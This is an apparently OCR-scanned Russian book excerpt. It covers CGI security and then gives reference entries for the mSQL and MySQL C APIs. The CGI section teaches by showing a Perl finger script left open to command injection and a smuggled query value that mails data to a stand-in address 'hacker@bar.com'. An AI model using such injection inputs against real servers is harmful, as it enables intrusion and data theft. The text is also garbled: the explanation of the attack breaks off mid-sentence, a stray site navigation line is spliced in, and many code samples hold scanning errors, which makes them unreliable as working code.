    При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

    CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:


    #!/usr/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output"param('username');

    print $output->header, $output->start_html('Finger Output'),

    "
    ", 'finger $username', "
    ", $output->end_html;

    Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе "fred" на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com
    Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ ";" и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

    #!/usr/local/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output->param('username');

    $|++;

    # Отключить буферизацию с целью направления всех данных клиенту,

    print $output->header, $putput->start_html('Finger Output'), "
    \n";


    $pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

    # канал между родительским и дочерним процессами,

    if ($pid) {# Это родительский процесс.

    print ; ft Вывести выходные данные дочернего процесса.

    print "
    ", $output->end_html;

    exit(O); ft Завершить программу. }

    elsif (defined $pid) { # Это дочерний процесс.

    $|++; # Отключить буферизацию.

    ехес('/usr/bin/finger',$username) or die("exec() call failed.");

    # Выполняет программу finger с Susername в качестве одного единственного

    # аргумента командной строки. } else { die("неудачная попытка fork()"); }

    # Проверка ошибок.

    Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com
    Важные особенности сценариев CGIВ качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

    Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как "nobody", имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.


    Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как "nobody", только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

    Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

    Что еще можно почитать

    Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. "CGI Programming on the World Wide Web" издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.



    

        Базы данных: Разработка - Управление - Excel



  • . Эта функция полезна только вместе с веб-сервером Apache.



    MSQLCAPI

    API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

    Типы данных

    mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

    m_result

    Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

    m_row

    Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

    m_field

    Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

    int type

    Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

    int length

    Длина поля в байтах.
    int flags

    Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

    IS_PRI_KEY(flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле определено как NOT NULL.

    msqIConnect

    int msqIConnect ( char*host )

    Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

    Пример

    /* Создать подключение к серверу баз данных на локальном хосте*/

    dbh = msqlConnect( (char*)NULL );

    if (dbh == -1) {

    print " Ошибка при подключении!\n";

    exit(1); }

    msqISelectDB

    int msqISelectDB ( int sock , char*dbName )

    Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

    Пример

    /* Выбрать базу данных "mydatabase" */

    result = msqlSelectDB( dbh, "mydatabase" );

    if (result == -1) {

    print "Ошибка при выборе базы данных! \n";

    exit(1); }

    msqIQuery

    int msqlQuery( int sock , char*query )

    Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    msqIStoreResult

    m_result *msqlStoreResult()

    Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

    Пример

    m_result *results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    IK. 897

    /* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

    msqIFreeResult

    void msqIFreeResult ( m_result*result )

    Освобождает память, связанную со структурой m_result.

    Пример

    m_result "results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    /* Выполнить работу */

    msqIFreeResult(results);

    msqIFetchRow

    m_row msqIFetchRow ( m_result*result )

    Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.


    Пример

    m_result *results;

    m_row "row;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    printf("Третье поле первой записи в таблице: %s\n", row[2]);

    msqlDataSeek

    void msqlDataSeek ( m_result* result, int pos )

    Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

    Пример

    m_result *results;

    m_row Vow;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    /* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

    msqINumRows

    int msqINumRows ( m_result*result )

    Возвращает число строк в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult(); rows = msqlNumRows(results);

    msqIFetchField

    m_field "msqIFetchField ( m_result*result )

    Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

    Пример

    m_field *field;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о первом поле

    в результирующем наборе */

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о втором поле в том же наборе записей */

    msqlFieldSeek

    void msqlFieldSeek ( m_result*result , int pos )

    Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

    Пример

    m_result "results; m_field 'field;


    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* Вернутся к исходной позиции */

    msqlFieldSeek(results, .0);

    msqlNumFields

    int msqlNumFields ( m_result* result )

    Возвращает число полей в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    fields = msqlNumFields(results);

    msqICIose

    int msqICIose ( int sock )

    Закрывает подключение к серверу баз данных mSQL.

    Пример

    dbh = msqlConnect( (char')NULL );

    /* Do work */

    msqlClose(dbh);

    msqIListDBs

    m_result *msqlListDBs ( int sock )

    Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    databases = msqlListDBs(dbh);

    /* 'databases' содержит теперь имена всех баз данных на сервере*/

    msqIListTables

    m_result *msqIListTables ( int sock )

    Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    tables = msqlListTables(dbh);

    /* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

    msqIListFields

    m_result 'msqIListFields ( int sock , char*tableName )

    Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    fields = msqlListFields(dbh, "people");

    /* 'fields' содержит теперь имена всех полей

    в таблице'people' */

    msqIListlndex

    m_result 'msqIListlndex ( int sock , char*tableName , char*index )

    Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

    Пример

    index = msqll_istIndex(dbh, "people", "idx1");

    /* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

    MySQL С API

    MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

    Типы данных

    MYSQL

    Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

    MYSQL_FIELD

    Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

    char *def

    Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

    еnum enum_field_types type

    Тип поля. Он является одним из типов данных MySQL SQL.
    unsigned int length

    Размер поля, основанный на типе поля.
    unsigned int max_length

    После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

    unsigned int flags

    Ноль или более флагов. В настоящее время определены следующие флаги:

    NOT_NULL_FLAG

    Если установлен, поле не может содержать значение
    NULL. PRI_KEY_FLAG

    Если установлен, поле является первичным ключом.

    UNIQUE_KEY_FLAG

    Если установлен, поле является частью уникального ключа.

    MULTIPLE_KEY_FLAG

    Если установлен, поле является частью ключа.

    BLOB_FLAG

    Если установлен, поле имеет тип BLOB или TEXT.

    UNSIGNED_FLAG

    Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

    ZEROFILL_FLAG

    Если установлен, поле было создано с флагом ZEROFILL.

    BINARY_FLAG


    Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

    ENUM_FLAG

    Если установлен, поле имеет тип ENUM.

    AUTO_INCREMENT_FLAG

    Если установлен, поле имеет атрибут AUTO_INCREMENT.

    TIMESTAMP_FLAG

    Если установлен, поле имеет тип TIMESTAMP.

    unsigned int decimals

    При использовании с числовым полем выдает длину дробной части.

    Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

    IS_PRI_KEY( flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле имеет ограничение NOT NULL.

    IS_ELOE(flags)

    Возвращает true, если поле имеет тип BLOB или TEXT.

    IS_NUM(type)

    Возвращает true, если тип поля является числовым.

    MYSQL_FIELD_OFFSET

    Числовой тип, указывающий на позицию "курсора" в строке (записи).

    MYSQL_RES

    Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

    MYSQL_ROW

    Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

    my_ulonglong

    Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

    my sql_affected_ro ws

    my_ulonglong mysql_affected_rows(MYSQL*mysql)

    Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

    Пример

    /* Вставить запись в таблицу 'people' */

    mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

    16)";

    num = fflysql_affected_rows(&mysql);

    /* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

    mysql_close

    void mysql_close(MYSQL*mysql)

    Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.


    Пример

    mysql_close(&mysql);

    /* Теперь подключение должно быть завершено */

    mysql_connect

    MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

    Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

    Пример

    /* Создать подключение к локальному серверу MySQL, используя имя "bob" и

    пароль "mypass" */ MYSQL mysql;

    if(!mysql_connect(&mysql, "", "bob", "mypass")) {

    printf("Oшибкa при подключении!\n");

    exit(0); }

    /* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

    mysql_create_db

    int mysql_create_db(MYSQL*mysql, const char*db)

    Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

    Пример

    /* Создать новую базу данных 'new_database' */

    result = mysql_create_db(&mysql, "new_database");

    mysql_data_seek

    void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

    Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.


    Пример

    /* Перейти к последней записи в результате */

    mysql_data_seek(results, mysql_num_rows(results)-1);

    mysql_debug

    mysql_debug(char *debug)

    Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

    Пример

    /* Это обычное использование отладочной библиотеки. Информация о деятельности

    клиентских программ записывается в файл "debug.out"*/

    mysql_debug("d:t:0, debug. out");

    mysql_drop_db

    int mysql_drop_clb(MYSQL*mysql, const char*db)

    Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

    Пример

    /* Уничтожить базу данных 'old_database' */

    result = mysql_drop_db(&mysql, "old_database");

    mysql_dump_debug_info

    int mysql_dump_debug_info(MYSQL*mysql)

    Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

    Пример

    result = mysql_dump_debug_info(&mysql);

    /* Теперь журналы сервера должны содержать информацию о текущем

    подключении */

    mysql_eof

    my_bool mysql_eof(MYSQL_RES* result)

    Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

    Пример

    /* Прочитать до конца набор записей */

    while((row = mysql_fetch_row( results.))) {

    /'Обработка 7 }


    if(!mysql_eof(results))

    {

    printf("Ошибка. Конец результата не достигнут.\n");

    mysql_errno

    unsigned int mysql_errno(MYSQL*mysql)

    Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

    Пример

    error = mysql_errno(&mysql);

    printf("HoMep последней ошибки: %d\n", error);

    mysql_error

    char *mysql_error(MYSQL*mysql)

    Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

    Пример

    printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

    mysq l_esca pe_strin g

    unsigned int mysql_escape_string(char*to, const char "from, unsigned int

    length)

    unsigned int mysql_escape_string(char*to, const char *from)

    Кодирует строку таким образом, что ее можно безопасно вставить в таблицу MySQL. Первый аргумент - это получающая строка, которая должна быть по крайней мере на один символ больше двойной длины исходной строки, задаваемой вторым аргументом (то есть to >= from*2+l). Если есть третий аргумент, он указывает количество байт, копируемое из исходной строки перед кодированием. Функция возвращает число байт в кодированной строке, исключая цустой символ в конце строки.

    Пример

    char name[15] = "Bob Marley's";

    char enc_name[31];

    mysql_escape_string(enc_name, name);

    /* enc_name теперь будет содержать "Bob Marley\'s" (единичная кавычка

    закодирована).

    mysql_fetch_field

    MYSQL_FIELD*mysql_fetch_field(MYSQL_RES* result)

    Возвращает структуру MYSQL_FIELD, описывающую доле заданного результирующего набора. Дальнейшие вызовы этой функции вернут информацию о каждом следующем поле, пока поля не закончатся, и тогда будет возвращено нулевое значение.

    Пример

    MYSQL_FIELD*field;

    while((field = mysql_fetch_field(results)))

    {

    /* Здесь вы можете проверить информацию о поле */

    }

    mysql_fetch_field_direct

    MYSQL_FIELD * mysql_fetch_field_direct(MYSOL_RES * result, unsigned int fieldnr)


    Эта функция идентична mysql_fetch_field за исключением того, что вместо цикла по полям вы указываете, какое поле проверить. Номер первого поля в наборе - 0.

    Пример

    MYSQL_FIELD *field;

    /* Получить информацию о третьем поле в наборе записей */

    field = mysql_fetch_field_direct(results, 2);

    mysql_fetch_fields

    MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES* result)

    Функция идентична mysql_fetch_field за исключением того, что она возвращает массив структур MYSQL_FIELD, содержащих информацию о каждом поле в результирующем наборе.

    Пример

    MYSQL_FIELD 'field; MYSQL_FIELD 'fields;

    /* Получить всю информацию о полях в наборе записей */

    fields = mysql_fetch_fields(results);

    /* Приписать третье поле переменной 'field' */

    field = fields[2];

    mysql_fetch_lengths

    unsigned long *mysql_fetch_lengths(MYSQL_RES*result)

    Возвращает массив длин каждого поля в текущей записи. В случае ошибки функция возвращает нулевое значение. Вы должны выбрать хотя бы одну запись (используя mysql_fetch_row) перед вызовом этой функции. Эта функция является единственным способом выяснить длину полей переменной длины, таких как BLOB и VARCHAR, перед использованием данных.

    Пример

    unsigned long *lengths;

    row = mysql_fetch_row(results);

    lengths = mysql_fetch_lengths(results);

    printf("Tpetbe поле имеет длину %d байт\n", lengths[2]);

    mysql_fetch_row

    MYSQL_ROW mysql_fetch_row(MYSQL_RESresult)

    Выбирает следующую запись в наборе и возвращает ее как структуру MYSQL__ROW. Если записей больше нет или в случае ошибки, возвращается нулевое значение. В текущей реализации структура MY.SQI _ROW - это массив символьных строк, который может представлять любые данные.

    Пример

    MYSQL_ROW row;

    row = mysql_fetch_row(results);

    printf("Данные в третьем поле этой записи: %s\n", row[2]);

    mysql_field_seek

    MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

    Ищет указанное поле в текущей записи результирующего набора. Позиция, установленная этой функцией, используется при вызове mysql_fetch_field. Переданное значение MYSQL_FIELD_OFFSET должно быть значением, возвращаемым функцией mysql_field_tell (или другим вызовом mysql_f ield_seek). Если это значение равно 0, поиск будет осуществляться с начала записи. Функция возвращает позицию курсора перед вызовом функции.


    Пример

    MYSQL_FIELD field;

    /* Перейти к началу записи */

    old_pos = mysql_field_seek(results, 0);

    /* Выбрать первое поле записи */

    field = mysql_field_field(results);

    /* Вернуться к исходному состоянию */

    mysql_field_seek(results, old_pos);

    mysql_field_tell

    MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RESresult)

    Возвращает значение текущей позиции поля в текущей записи результирующего набора. Это значение используется с mysql_f ield_seek.

    Пример

    MYSQL_FIELD fieldl, field2, fieldS;

    /* Запомнить текущую позицию */

    old_pos = mysql_field_tell(results);

    /* Выбрать еще три поля */

    field1 = mysqLfield_field(results);

    field2 = mysql_field_field(results);

    field3 = mysql_field_field(results);

    /* Вернуться к исходной позиции */

    mysql_field_seek(results, old_pos);

    mysql_free_result

    void mysql_free_result(MYSQL_RESresult)

    Освобождает память, связанную со структурой MYSQL_RES. Эту операцию следует всегда выполнять при завершении использования структуры этого типа или при других проблемах с памятью.

    Пример

    MYSQL_RES "results;

    /* Выполнить операции с результатами */

    mysql_free_result(results);

    mysql_get_client_info

    char *mysql_get_client_info(void)

    Возвращает строку с версией библиотеки MySQL, используемой клиентской программой.

    Пример

    printf("Этa программа использует клиентскую библиотеку MySQL версии %s\n",

    mysql_get_client_info()));

    mysql_get_host_jnfo

    char *mysql_get_host_info(MYSQL*mysql)

    Возвращает строку, содержащую имя хоста сервера баз данных MySQL и тип используемого подключения (например, Unix-сокет или TGP).

    Пример

    print("Информация о подключении: %s", mysql_get_host_info(&mysql));

    mysq l_get_proto_i nf о

    unsigned int mysql_get_proto_info(MYSQtmysql)

    Возвращает в виде целого числа версию протокола MySQL, используемого в текущем подключении.

    Пример

    printf("Этo подключение использует протокол соединений MySQL версии %d\n",

    mysql_get_proto_info());

    mysql_get_server_info


    char *mysql_get_server_info(MYSQL*mysql)

    Возвращает строку, содержащую номер версии сервера баз данных MySQL, используемого в текущем подключении.

    Пример

    printf("Bы подключены к серверу MySQL версии %s\n", mysql_get__server_info(&mysql);

    mysqljnfo

    char *mysql_info(MYSQL*mysql)

    Возвращает строку, содержащую информацию о последнем запросе, если этот запрос был одним из указанных ниже. В настоящее время дополнительную информацию через эту функцию выдают следующие SQL-запросы: INSERT INTO (при использовании с оператором SELECT); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (при использовании с множеством записей). Если последний запрос не имел дополнительной информации (например, это был один из других запросов), функция возвращает нулевое значение.

    Пример

    /* Только что был послан запрос LOAD DATA INFILE, загрузивший набор записей из файла

    в существующую таблицу */ printf("Результат загрузки данных: %s\n", mysql_info(&mysql));

    mysql_init

    MYSQL *mysql_init(MYSQL*mysql)

    Инициализирует структуру MYSQL, используемую для создания подключения к серверу баз данных MySQL. Наряду с mysql_real_connect, это является способом инициализации подключения к серверу. Вы передаете этой функции объявленную структуру MYSQL либо пустой указатель, в случае чего структура MYSQL будет создана и возвращена. Созданные этой функцией структуры корректно освобождаются функцией mysql_close. Если для инициализации структуры не хватило памяти, возвращается нулевое значение.

    Пример

    MYSQL mysql;

    if (!mysql_init(&mysql)) {

    printf("Ошибка инициализации клиента MySQL\n");

    exit(1); }

    mysqljnsertjd

    my_ulonglong mysql_insert_id(MYSQL*mysql)

    Вернет последнее число, сгенерированное для поля AUTO_INCREMENT. Данная функция обычно используется сразу после ввода значения в поле AUTO_INCREMENT, чтобы выяснить значение, которое было введено.

    Пример

    /* Мы только что ввели запись о сотруднике с автоматически генерируемым ID в

    таблицу */


    id = mysql_insert_id(&mysql);

    printf(''Новый сотрудник получил ID %d\n", id);

    mysql_kill

    int mysql_kill(MYSQL*mysql, unsigned long pid)

    Пытается завершить поток сервера MySQL с указанным ID процесса (PID). Эта функция возвращает ноль в случае успешного выполнения операции и ненулевое значение в случае неудачи. Чтобы воспользоваться этой функцией, вы должны иметь право Process для текущего подключения.

    Пример

    /* Завершить поток с номером 4 */

    result = mysql_kill(&mysql, 4);

    mysql_list_dbs

    MYSQL_RES*mysql_list_dbs(MYSQL*mysql, const char*wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих баз данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будут возвращены имена всех баз данных. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES databases;

    databases = mysql_list_dbs(&mysql, (char*)MULL);

    /* 'databases' теперь содержит имена всех баз данных на сервере MySQL */

    mysql_list_fields

    MYSQL_RES *mysql_list_fields(MYSQL*mysql, const char*table, const char *wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих полей в указанной таблице, которые удовлетворяют выражению, переданному третьим аргументом. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будет возвращен список имен всех полей. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_free_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES fields;

    fields = mysql_list_fields(&mysql, "people", "address%");

    /* 'fields' теперь содержит имена всех полей в таблице 'people', начинающихся с 'address' */

    mysql_list_processes


    MYSQL_RES*mysql_list_processes(MYSQL*mysql)

    Возвращает структуру MYSQL_RES, содержащую информацию о всех текущих потоках, запущенных на сервере баз данных MySQL. Эта информация может быть использована с mysql_kill для завершения потоков, вызывающих ошибки. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES threads;

    threads = mysql_list_processes(&mysql);

    mysql_list_tables

    MYSQL_RES*mysql_list_tables(MYSQL*mysql, const char*wild)

    Возвращает-структуру MYSQL_RES, содержащую имена всех существующих таблиц в текущей базе данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель вместо выражения, будет возвращен список имен всех таблиц. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES tables;

    tables = mysql_list_tables(&mysql, "p%");

    /* 'tables' теперь содержит имена всех таблиц в текущей базе данных, начинающиеся с 'р' */

    mysql_num_fields

    unsigned int mysql_num_fields(MYSQL_RESresult)

    Возвращает число полей, содержащееся в каждой записи указанного результирующего набора.

    Пример

    num_fields = mysql_num_fields(results);

    printf("There are %d fields in each row\n", num_fields);

    mysql_num_rows

    int mysqi_num_rows(MYSQL_RESresult)

